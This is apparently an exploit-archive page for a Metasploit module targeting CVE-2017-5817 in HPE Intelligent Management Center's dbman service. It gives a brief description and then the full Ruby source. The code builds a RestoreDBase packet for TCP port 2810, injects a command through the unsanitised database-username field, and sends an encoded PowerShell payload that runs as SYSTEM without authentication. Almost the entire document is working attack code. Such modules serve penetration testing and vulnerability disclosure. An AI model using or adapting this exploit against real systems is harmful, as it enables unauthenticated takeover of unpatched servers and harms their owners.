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HPE iMC dbman RestoreDBase Unauthenticated Remote Command Execution

HPE iMC dbman RestoreDBase Unauthenticated Remote Command Execution
Posted Jan 10, 2018
Authored by Chris Lyne, sztivi | Site metasploit.com

This Metasploit module exploits a remote command execution vulnerability in Hewlett Packard Enterprise Intelligent Management Center before version 7.3 E0504P04. The dbman service allows unauthenticated remote users to restore a user-specified database (OpCode 10007), however the database connection username is not sanitized resulting in command injection, allowing execution of arbitrary operating system commands as SYSTEM. This service listens on TCP port 2810 by default. This Metasploit module has been tested successfully on iMC PLAT v7.2 (E0403) on Windows 7 SP1 (EN).

tags | exploit, remote, arbitrary, tcp
systems | windows
advisories | CVE-2017-5817
SHA-256 | 6e617c9e2dc52b8e3176ccf763528cbf0564f66df4920f7c15aa5b7cd694b5ea

HPE iMC dbman RestoreDBase Unauthenticated Remote Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => 'HPE iMC dbman RestoreDBase Unauthenticated RCE',
'Description' => %q{
This module exploits a remote command execution vulnerablity in
Hewlett Packard Enterprise Intelligent Management Center before
version 7.3 E0504P04.

The dbman service allows unauthenticated remote users to restore
a user-specified database (OpCode 10007), however the database
connection username is not sanitized resulting in command injection,
allowing execution of arbitrary operating system commands as SYSTEM.
This service listens on TCP port 2810 by default.

This module has been tested successfully on iMC PLAT v7.2 (E0403)
on Windows 7 SP1 (EN).
},
'License' => MSF_LICENSE,
'Author' =>
[
'sztivi', # Discovery
'Chris Lyne', # Python PoC (@lynerc)
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['CVE', '2017-5817'],
['EDB', '43195'],
['ZDI', '17-341'],
['URL', 'https://www.securityfocus.com/bid/98469/info'],
['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us']
],
'Platform' => 'win',
'Targets' => [['Automatic', {}]],
'Payload' => { 'BadChars' => "\x00" },
'DefaultOptions' => { 'WfsDelay' => 15 },
'Privileged' => true,
'DisclosureDate' => 'May 15 2017',
'DefaultTarget' => 0))
register_options [Opt::RPORT(2810)]
end

def check
# empty RestoreDBase packet
pkt = [10007].pack('N')

connect
sock.put pkt
res = sock.get_once
disconnect

# Expected reply:
# "\x00\x00\x00\x01\x00\x00\x00:08\x02\x01\xFF\x043Dbman deal msg error, please to see dbman_debug.log"
return CheckCode::Detected if res =~ /dbman/i

CheckCode::Safe
end

def dbman_msg(database_user)
data = ''

db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}"
database_type = "\x03" # MySQL
restore_type = 'MANUAL'
database_password = rand_text_alpha rand(1..5)
database_port = rand_text_alpha rand(1..5)
database_instance = rand_text_alpha rand(1..5)
junk = rand_text_alpha rand(1..5)

# database ip
data << "\x04"
data << [db_ip.length].pack('C')
data << db_ip

# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk

# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk

# junk
data << "\x04"
data << [junk.length].pack('C')
data << junk

# ???
data << "\x02\x01\x01"

# database type
data << "\x02"
data << [database_type.length].pack('C')
data << database_type

# restore type
data << "\x04"
data << [restore_type.length].pack('C')
data << restore_type

# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk

# database user
data << "\x04"
data << "\x82"
data << [database_user.length].pack('n')
data << database_user

# database password
data << "\x04"
data << [database_password.length].pack('C')
data << database_password

# database port
data << "\x04"
data << [database_port.length].pack('C')
data << database_port

# database instance
data << "\x04"
data << [database_instance.length].pack('C')
data << database_instance

# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk

# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk

# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk

# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk

# ???
data << "\x30\x00"
data << "\x02\x01\x01"

data
end

def dbman_restoredbase_pkt(database_user)
data = dbman_msg database_user

# opcode 10007 (RestoreDBase)
pkt = [10007].pack('N')

# packet length
pkt << "\x00\x00"
pkt << [data.length + 4].pack('n')

# packet data length
pkt << "\x30\x82"
pkt << [data.length].pack('n')

# packet data
pkt << data

pkt
end

def execute_command(cmd, _opts = {})
connect
sock.put dbman_restoredbase_pkt "\"& #{cmd} &"
disconnect
end

def exploit
command = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true, :encode_final_payload => true }
)

if command.length > 8000
fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command"
end

print_status "Sending payload (#{command.length} bytes)..."
execute_command command
end
end
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